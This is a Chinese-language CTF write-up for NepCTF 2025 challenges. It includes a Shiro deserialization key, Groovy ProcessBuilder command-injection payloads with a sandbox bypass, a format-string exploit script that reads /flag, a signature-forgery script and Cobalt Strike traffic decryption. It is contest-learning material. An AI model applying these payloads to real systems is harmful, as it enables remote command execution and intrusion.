NepCTF——wp web JavaSeri 进入网站发现进不去
由题目在后面加上/login.jsp得到
看到remember me就知道是shiro框架 所以使用这个工具可以爆破出key
得到key是kPH+bIxk5D2deZiIxcaaaA== 然后我们爆破利用链以及回显得到
最终我们可以在命令执行中输入env得到flag
FLAG=flag{97353f93-7cec-1101-792e-9bf387095d95}
easyGooGooVVVY 看到这个题目就知道核心场景是Groovy表达式注入:页面提供输入框,允许用户提交 Groovy代码并执行。目标是利用该特性,读取服务器环境变量中的FLAG。
二、漏洞原理
Groovy是运行在JVM上的动态语言,天然支持调用Java标准库。若应用未对用户输入的Groovy代码做严格校验,攻击者可注入恶意代码,通过JavaAPI(如ProcessBuilder)执行系统命令,从而窃取敏感信息(如环境变量、文件内容等)。
三、利用过程
目标分析
服务器环境中,FLAG通常存储为环境变量。通过执行Shell命令echo $FLAG即可读取其值。
构造 Groovy payload
利用Java的ProcessBuilder类执行Shell命令,步骤如下:
//1.创建进程构建器,指定要执行的Shell命令:
echo $FLAGdef pb = new ProcessBuilder([‘sh’,’-c’,’echo $FLAG’])
//2.启动进程,开始执行命令
def proc = pb.start()
//3.等待进程执行完毕(确保输出完整)
proc.waitFor()
// 4. 读取进程的标准输出(即命令结果),并去除首尾空白
def content = proc.inputStream.text.trim()
//5.返回结果,使页面显示FLAG
content
我们将这个代码放到输入框中得到flag
得到flag{a27f0eff-0ac2-3d0a-01ed-486fc1b1ec01}
RevengeGooGooVVVY 分析题目:本题延续Groovy 表达式注入场景,但新增两个沙盒净化类(Phase3Purifiler和CustomGroovyPurifiler),意图限制危险操作。我们继续分析这两个文件:
1. Phase3Purifiler.java(AST 转换拦截)
绕过点:本题未使用注解,直接调用Java原生类ProcessBuilder,避开 AST 转换检测。
2. CustomGroovyPurifiler.java(方法调用沙盒)
仅拦截方法名为execute的调用(如String.execute()),未拦截ProcessBuilder.start()(方法名不同)。
ProcessBuilder属于Java原生类,沙盒未对其构造和调用做限制。
所以由此我们可以构造出一个合法的ProcessBuilder调用
如下:
def pb = new ProcessBuilder([‘sh’, ‘-c’, ‘echo $FLAG’])
//调用Java原生类,非Groovy特有方法
def proc = pb.start()
//核心:使用start()而非execute(),绕过沙盒规则2
proc.waitFor()
//等待命令执行完成
def content = proc.inputStream.text.trim()
//读取输出,trim()在String白名单中(因白名单包含所有方法)content
//返回FLAG
我们将这段代码放入输入框得到flag
得到NepCTF{f1ebb102-4cd7-e79a-a59e-bdeb8f39984e}
pwn Time 正常ida打开找到主程序
发现printf(format_);格式化漏洞,但是限制字符不能有flag,所以刚好对应上题目time,利用时间写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *_bin = ELF("./time" ) io = remote("nepctf32-lzta-hb4o-3qpb-srvc9jeja259.nepctf.com" , 443 , ssl=True , sni=True , typ='tcp' ) context.update(arch=_bin .arch, os=_bin .os, log_level='debug' ) payload = b'' .join([f'%{i} $p' .encode() for i in range (28 , 21 , -1 )]) io.sendlineafter(b'name:\n' , payload) for round in range (2048 ): io.sendline(b'hint.txt' ) io.sendline(b'/flag' ) try : resp = io.recv(timeout=0.06 ) if any (x in resp for x in [b'flag' , b'CTF{' ]): print (f'[+] Round {round } Get: {resp.decode(errors="ignore" ).strip()} ' ) break except Exception: continue io.interactive()
得到b’hello (nil)0xa7d3134640x36346462313635630x382d343063302d660x3862372d306636330x2d316166616233380x647b46544370654e ,your file read done!\n’
需要去转字符串
发现是反转了,大厨直接出
得到NepCTF{d83bafa1-36f0-7b8f-0c04-8c561bd46d41}
crypto Nepsign 签到题,是我最喜欢的国密算法SM3,写个脚本直接出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 import osimport binasciiimport astfrom gmssl import sm3 as gmssl_sm3from pwn import *import sysimport timeimport socketimport ssl# 定义SM3 函数 def SM3 (data): data = bytes (data) data_list = list (data) h = gmssl_sm3.sm3_hash (data_list) return h def SM3 _n(data, n=1 , bits=256 ): data_bin = data for _ in range (n): data_hex = SM3 (data_bin) data_bin = binascii.unhexlify (data_hex.encode ()) hex_str = data_bin.hex () return hex_str[:bits hex_symbols = '0123456789abcdef' # 创建安全的SSL 连接 def create_ssl_connection (host, port, max_retries=3 , timeout=20 ): context = ssl.create_default_context () context.check_hostname = False context.verify_mode = ssl.CERT_NONE # 设置更现代的加密套件和协议 context.options |= ssl.OP_NO_SSLv2 context.options |= ssl.OP_NO_SSLv3 context.options |= ssl.OP_NO_TLSv1 context.options |= ssl.OP_NO_TLSv1_1 context.set_ciphers ('ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20' ) for i in range (max_retries): try : # 创建TCP 套接字 sock = socket.create_connection ((host, port), timeout=timeout) # 包装SSL 套接字 ssock = context.wrap_socket (sock, server_hostname=host) ssock.settimeout (timeout) return ssock except Exception as e : print (f"连接尝试 {i + 1} 失败: {e}" ) if i < max_retries - 1 : time.sleep (2 ) return None # 连接服务器 host = 'nepctf31-7cvo-yss2-jzpq-wd53jtut5307.nepctf.com' port = 443 try : ssock = create_ssl_connection (host, port) if not ssock : print ("无法建立SSL连接" ) sys.exit (1 ) # 创建pwntools远程对象 r = remote.fromsocket (ssock) # 设置日志级别 context.log_level = 'info' print ("正在接收初始化信息..." ) data = r.recvuntil (b'> ' ) if b'initializing' in data : print ("连接成功" ) else : print ("未收到预期响应" ) print (f"收到数据: {data}" ) sys.exit (1 ) except Exception as e : print (f"连接失败: {e}" ) sys.exit (1 ) # 存储恢复的私钥 sk_recovered = [None ] * 48 print ("开始恢复私钥(0-31)..." )# 恢复私钥: 前32 个索引 (k=0 到 31 ) for k in range (32 ): while True : try : # 生成随机消息 msg_bytes = os.urandom (10 ) msg_hex = msg_bytes.hex () # 计算SM3 哈希 m_hex = SM3 (msg_bytes) # 检查第k个字节是否为00 if m_hex[2 * k :2 * k + 2 ] == "00" : # 请求签名 r.sendline (b'1' ) r.recvuntil (b'msg: ' ) r.sendline (msg_hex.encode ()) sig_line = r.recvline ().decode ().strip () # 确保接收到提示符 try : r.recvuntil (b'>' , timeout=1 ) except : pass # 解析签名列表 try : qq_list = ast.literal_eval (sig_line) sk_recovered[k] = bytes.fromhex (qq_list[k]) print (f"成功恢复私钥[{k}]" ) break except Exception as e : print (f"解析失败: {e}, 签名: {sig_line}" ) # 重试相同k值 except EOFError : print ("连接中断,尝试重连..." ) # 重新连接 ssock = create_ssl_connection (host, port) if not ssock : print ("重连失败" ) sys.exit (1 ) r = remote.fromsocket (ssock) r.recvuntil (b'>' ) except Exception as e : print (f"错误: {e}" ) time.sleep (1 ) # 短暂等待后重试 print ("开始恢复私钥(32-47)..." )# 恢复私钥: 后16 个索引 (k=32 到 47 ) for k in range (32 , 48 ): i = k - 32 symbol = hex_symbols[i] while True : try : # 生成随机消息 msg_bytes = os.urandom (10 ) msg_hex = msg_bytes.hex () # 计算SM3 哈希 m_hex = SM3 (msg_bytes) # 检查符号是否未出现 if symbol not in m_hex : # 请求签名 r.sendline (b'1' ) r.recvuntil (b'msg: ' ) r.sendline (msg_hex.encode ()) sig_line = r.recvline ().decode ().strip () # 确保接收到提示符 try : r.recvuntil (b'>' , timeout=1 ) except : pass try : qq_list = ast.literal_eval (sig_line) sk_recovered[k] = bytes.fromhex (qq_list[k]) print (f"成功恢复私钥[{k}]" ) break except Exception as e : print (f"解析失败: {e}, 签名: {sig_line}" ) # 重试相同k值 except EOFError : print ("连接中断,尝试重连..." ) # 重新连接 ssock = create_ssl_connection (host, port) if not ssock : print ("重连失败" ) sys.exit (1 ) r = remote.fromsocket (ssock) r.recvuntil (b'>' ) except Exception as e : print (f"错误: {e}" ) time.sleep (1 ) # 短暂等待后重试 # 为目标消息生成签名 print ("正在为目标消息生成签名..." )msg_target = b"happy for NepCTF 2025" m_hex = SM3 (msg_target) # 哈希 m_bin = bin (int (m_hex, 16 ))[2 :].zfill (256 ) # 二进制串 # 计算step数组 step = [0 ] * 48 # 前32 个step for i in range (32 ): byte_bin = m_bin[8 * i :8 * i + 8 ] step[i] = int (byte_bin, 2 ) # a[i] # 后16 个step for i in range (16 ): total = 0 for j in range (1 , 65 ): # 位置1 -64 if m_hex[j - 1 ] == hex_symbols[i]: total += j step[32 + i] = total % 255 # 计算qq_target qq_target = [] for idx in range (48 ): qq_hex = SM3 _n(sk_recovered[idx], step[idx], 256 ) qq_target.append (qq_hex) print (f"计算签名[{idx}]" ) # 提交签名 print ("正在提交签名..." )try : r.sendline (b'2' ) r.recvuntil (b'give me a qq: ' ) # 确保使用可解析的格式 signature_str = str (qq_target).replace ("'" , '"' ) r.sendline (signature_str.encode ()) flag_output = r.recvall (timeout=10 ).decode () print ("=" * 50 ) print ("旗帜结果:" ) print (flag_output) print ("=" * 50 ) except Exception as e : print (f"提交签名失败: {e}" ) finally : r.close ()
NepCTF{fb3ea54a-9991-2bad-57ce-7600be5d25c2}
misc NepBotEvent 查看题目发现是键盘记录器,那就说明要提取键盘流量,写个脚本提取一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 import structkeycode_map = { 2 : '1' , 3 : '2' , 4 : '3' , 5 : '4' , 6 : '5' , 7 : '6' , 8 : '7' , 9 : '8' , 10 : '9' , 11 : '0' , 12 : '-' , 13 : '=' , 14 : '[BACKSPACE]' , 15 : '\t' , 16 : 'q' , 17 : 'w' , 18 : 'e' , 19 : 'r' , 20 : 't' , 21 : 'y' , 22 : 'u' , 23 : 'i' , 24 : 'o' , 25 : 'p' , 26 : '[' , 27 : ']' , 28 : '\n' , 30 : 'a' , 31 : 's' , 32 : 'd' , 33 : 'f' , 34 : 'g' , 35 : 'h' , 36 : 'j' , 37 : 'k' , 38 : 'l' , 39 : ';' , 40 : "'" , 41 : '`' , 44 : 'z' , 45 : 'x' , 46 : 'c' , 47 : 'v' , 48 : 'b' , 49 : 'n' , 50 : 'm' , 51 : ',' , 52 : '.' , 53 : '/' , 57 : ' ' , 42 : '[SHIFT_L]' , 54 : '[SHIFT_R]' , 29 : '[CTRL]' , 56 : '[ALT]' , 58 : '[CAPSLOCK]' } shift_map = { '1' : '!' , '2' : '@' , '3' : '#' , '4' : '$' , '5' : '%' , '6' : '^' , '7' : '&' , '8' : '*' , '9' : '(' , '0' : ')' , '-' : '_' , '=' : '+' , '[' : '{' , ']' : '}' , '\\' : '|' , ';' : ':' , "'" : '"' , ',' : '<' , '.' : '>' , '/' : '?' , '`' : '~' } def process_events (data ): capslock = False shift_pressed = False output = [] for i in range (0 , len (data), 24 ): event = data[i:i+24 ] if len (event) < 24 : break _, _, type_, code, value = struct.unpack('qqHHI' , event) if type_ == 1 : key = keycode_map.get(code, None ) if not key: continue if key in ['[SHIFT_L]' , '[SHIFT_R]' ]: shift_pressed = (value == 1 ) continue elif key == '[CAPSLOCK]' and value == 1 : capslock = not capslock continue if value == 1 : if key == '[BACKSPACE]' : if output: output.pop() continue if len (key) == 1 and key.isalpha(): if capslock ^ shift_pressed: output.append(key.upper()) else : output.append(key.lower()) continue if shift_pressed and key in shift_map: output.append(shift_map[key]) else : output.append(key) return '' .join(output) def decode_keylogger (file_path ): try : with open (file_path, 'rb' ) as f: data = f.read() except Exception as e: print (f"读取文件失败: {e} " ) return "" return process_events(data) if __name__ == "__main__" : filepath = r"C:\Users\Jiker\Downloads\nepbotevent\NepBot_keylogger" result = decode_keylogger(filepath) print ("[+] 优化后恢复按键序列如下:\n" ) print (result)
发现数据库NepCTF-20250725-114514
SpeedMino 俄罗斯方块,没想着逆向,发现程序有个bug,hold选项可以让方块一直不落地,也就是不可能死,等到2600自然结果就出了,但是太久了,写个连点器
最后得到NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}
客服小美 题目给了两个文件,一个是流量包DESKTOP.pcapng,一个是内存镜像DESKTOP.raw
先分析流量包
过滤出http的流量来,一看就看出是cs的特征来
目的地址跟目的端口就是木马回连地址:
192.168.27.132:12580
使用LovelyMem对内存镜像DESKTOP.raw进行取证
在进程分析中,发现了木马程序“关于2025年部分节假日安排的通知.exe”,并且执行此木马的权限为用户JohnDoe,所以JohnDoe就是被控机器的用户名
在网络信息中
也证实了木马会连地址: 192.168.27.132:12580
至于题目中被顺走的敏感信息,需要解密流量包中加密的cs通信流量
CobaltStrike网络流量可以使用正确的AES和HMAC密钥进行解密。可以从内存转储文件中获取AES和HMAC密钥
使用LovelyMem对6492进程进行转储,到处minidump_pid_6492.dmp
使用 cs-extract-key.py
查找并解码元数据
https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py
对于 Cobalt Strike 4.x 的 Beacon,通过内存直接提取未加密元数据的可能性变得极低了。因为此时已经没有数据头来进行标识了,单纯的 16 字节长序列没有可区分的特征。只能通过在进程内存中找到所有可能的 16 字节长非空序列作为密钥字典,不断尝试解密 C&C 通信,碰撞成功就找到了密钥。
提取方式例如 cs-parse-http-traffic.py -k unknown capture.pcapng
, -k
表示密钥未知,该工具尝试提取加密数据流量:
https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py
python cs-parse-http-traffic.py -k unknown DESKTOP.pcapng
随便拿一组数据来说
数据包83是对数据包80的GET请求的HTTP响应,响应数据长48字节(ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd)。
这应该就是 Team Server 发送给 Beacon 的加密数据,通过 cs-extract-key.py -t ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd minidump_pid_6492.dmp
尝试提取密钥:
python cs-extract-key.py -t ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd minidump_pid_6492.dmp
AES Key: a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 HMAC Key: 35d34ac8778482751682514436d71e09
解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import hmac import binascii import base64 import hexdump from Crypto.Cipher import AES # 密钥定义 AES_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7") HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09") # 加密数据 encrypted_data_str = "00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a" def decrypt(encrypted_data, iv_bytes, signature, aes_key, hmac_key): """ 解密函数,使用AES-CBC模式解密数据并验证HMAC签名 参数: encrypted_data (bytes): 待解密的数据 iv_bytes (bytes): 初始化向量 signature (bytes): HMAC签名 aes_key (bytes): AES解密密钥 hmac_key (bytes): HMAC验证密钥 返回: bytes: 解密后的数据,如果HMAC验证失败则返回None """ # 计算HMAC并验证签名 expected_hmac = hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[:16] if not hmac.compare_digest(expected_hmac, signature): print("message authentication failed") return None # 使用AES-CBC模式解密 cipher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) return cipher.decrypt(encrypted_data) def main(): """主函数,处理解密流程并输出结果""" try: # 转换加密数据为字节类型 encrypted_data = bytes.fromhex(encrypted_data_str.replace('\n', '')) # 解析数据长度 data_length = int.from_bytes(encrypted_data[:4], byteorder='big', signed=False) data_part = encrypted_data[4:] # 分离加密数据和签名 encrypted_content = data_part[:data_length-16] signature = data_part[data_length-16:data_length] # 固定的初始化向量 iv_bytes = b"abcdefghijklmnop" # 执行解密 decrypted_data = decrypt(encrypted_content, iv_bytes, signature, AES_KEY, HMAC_KEY) if decrypted_data: # 解析解密后的数据 counter = int.from_bytes(decrypted_data[:4], byteorder='big', signed=False) task_length = int.from_bytes(decrypted_data[4:8], byteorder='big', signed=False) task_type = int.from_bytes(decrypted_data[8:12], byteorder='big', signed=False) task_data = decrypted_data[12:12 + task_length] # 输出结果 print(f"counter: {counter}") print(f"任务返回长度: {task_length}") print(f"任务输出类型: {task_type}") print(f"任务数据: {task_data}") print("完整解密数据:") hexdump.hexdump(decrypted_data) except Exception as e: print(f"解密过程中发生错误: {e}") if __name__ == "__main__": main()
敏感信息:5c1eb2c4-0b85-491f-8d50-4e965b9d8a43
组合信息得到最终flag:
NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}
问卷!!! 给了个网址https://wj.qq.com/s/23296654/e9fc/
直接秒啦!!!
NepCTF{W3lcome2025NepCTF_SeeYouNexT2026!}
reverse Realme 先用ida打开主函数
发现加密逻辑
发现是rc4,但是被魔改了,两处魔改点,但是最后是取模,无法还原密文,显然不是正确的加密逻辑,对照了题目realme,所以直接动调找到正确的加密逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 void *__cdecl sub_40B000(char *a1, char *a2, unsigned int a3) { void *result; // eax char v4; // [esp+D3h] [ebp-129h] char v5[264 ]; // [esp+DCh] [ebp-120h] BYREF int v6; // [esp+1E4h] [ebp-18h] int i; // [esp+1F0h] [ebp-Ch] v6 = 0 ; result = memset(v5, 0 , 0x100u); for (i = 0 ; i < 256 ; ++i) { a1[i] = i ^ 0xCF ; v5[i] = a2[i % a3]; result = (void *)(i + 1 ); } for (i = 0 ; i < 256 ; ++i) { v6 = ((unsigned __int8)v5[i] + v6 + (unsigned __int8)a1[i]) % 256 ; v4 = a1[i]; a1[i] = a1[v6]; a1[v6] = v4 ^ 0xAD ; result = (void *)(i + 1 ); } return result; } unsigned int __cdecl sub_401A60(char *a1, char *a2, unsigned int a3) { unsigned int result; // eax int v4; // ecx char v5; // al char v6; // [esp+D3h] [ebp-35h] unsigned int i; // [esp+DCh] [ebp-2Ch] int v8; // [esp+F4h] [ebp-14h] int v9; // [esp+100h] [ebp-8h] __CheckForDebuggerJustMyCode(&unk_41200F); v9 = 0 ; v8 = 0 ; for (i = 0 ; ; ++i) { result = i; if (i >= a3) break ; v9 = (v9 + 1 ) % 256 ; v8 = (v8 + v9 * (unsigned __int8)a1[v9]) % 256 ; v6 = a1[v9]; a1[v9] = a1[v8]; a1[v8] = v6; v4 = ((unsigned __int8)a1[v8] + (unsigned __int8)a1[v9]) % 256 ; if (i % 2 ) v5 = a1[v4] + a2[i]; else v5 = a2[i] - a1[v4]; a2[i] = v5; } return result; }
写个exp解密即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 def mixer (seed: bytes ) -> bytearray : box = bytearray (((n ^ 0xCF ) & 0xFF ) for n in range (256 )) pad = bytearray (seed[i % len (seed)] for i in range (256 )) ptr = 0 for idx in range (256 ): ptr = (ptr + pad[idx] + box[idx]) & 0xFF box[idx], box[ptr] = box[ptr], box[idx] box[ptr] ^= 0xAD return box def transform (blob: bytes , token: bytes ) -> bytes : state = mixer(token) a, b = 0 , 0 result = bytearray (blob) for pos, ch in enumerate (blob): a = (a + 1 ) & 0xFF b = (b + a * state[a]) & 0xFF state[a], state[b] = state[b], state[a] t = (state[a] + state[b]) & 0xFF delta = state[t] if pos & 1 : result[pos] = (ch - delta) & 0xFF else : result[pos] = (ch + delta) & 0xFF return bytes (result) if __name__ == "__main__" : key_material = b"Y0u_Can't_F1nd_Me!" secret_data = bytes ([ 0x50 , 0x59 , 0xA2 , 0x94 , 0x2E , 0x8E , 0x5C , 0x95 , 0x79 , 0x16 , 0xE5 , 0x36 , 0x60 , 0xC7 , 0xE8 , 0x06 , 0x33 , 0x78 , 0xF0 , 0xD0 , 0x36 , 0xC8 , 0x73 , 0x1B , 0x65 , 0x40 , 0xB5 , 0xD4 , 0xE8 , 0x9C , 0x65 , 0xF4 , 0xBA , 0x62 , 0xD0 ]) decoded = transform(secret_data, key_material) print (decoded.decode('utf-8' , errors='replace' ))
得到NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}
QRS 先用ida打开main函数
毛用没有,搜一下qrs,发现真main
在QRS::e12c96f7a24fc73e1::axum_extract::b2a92c317a3cdec81发现tea算法
接下来就是动调,因为给了符号表所以很好定位到0x68547369,跟踪xref一下获取密文密钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned int __deviceKey[2 << 1 ] = { 0x01234567 , 0x89ABCDEF , 0x0FEDCBA9 , 0x76543210 }; unsigned int __encodedResult[0x8 ] = { 0x083EA621 , 0xC745973C , 0xE3B77AE8 , 0xCDEE8146 , 0x7DC86B96 , 0x6B8C9D3B , 0x79B14342 , 0x2ECF0F0D };
写个exp解密即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def bytes_to_dwords_le (data: bytes ): return [int .from_bytes(data[i:i+4 ], 'little' ) for i in range (0 , len (data), 4 )] def dwords_to_bytes_le (dwords ): return b'' .join(dw.to_bytes(4 , 'little' ) for dw in dwords) def decrypt_block (v0, v1, k, rounds=0x30 , delta=0x68547369 ): sum_ = (rounds * delta) & 0xFFFFFFFF for _ in range (rounds): v1 = (v1 - (((v0 << 4 ^ v0 >> 5 ) + v0) ^ (k[(sum_ >> 11 ) & 3 ] + sum_))) & 0xFFFFFFFF sum_ = (sum_ - delta) & 0xFFFFFFFF v0 = (v0 - (((v1 << 4 ^ v1 >> 5 ) + v1) ^ (k[sum_ & 3 ] + sum_))) & 0xFFFFFFFF return v0, v1 if __name__ == "__main__" : key = [0x01234567 , 0x89ABCDEF , 0xFEDCBA98 , 0x76543210 ] ciphertext = bytes .fromhex("21A63E083C9745C7E87AB7E34681EECD966BC87D3B9D8C6B4243B1790D0FCF2E" ) enc_words = bytes_to_dwords_le(ciphertext) plain_words = [] for i in range (0 , len (enc_words), 2 ): x, y = enc_words[i], enc_words[i+1 ] p0, p1 = decrypt_block(x, y, key) plain_words.extend([p0, p1]) plaintext = dwords_to_bytes_le(plain_words) print (plaintext.decode())
得到NepCTF{a4747f82be106d3f8c4d747c744d7ee5}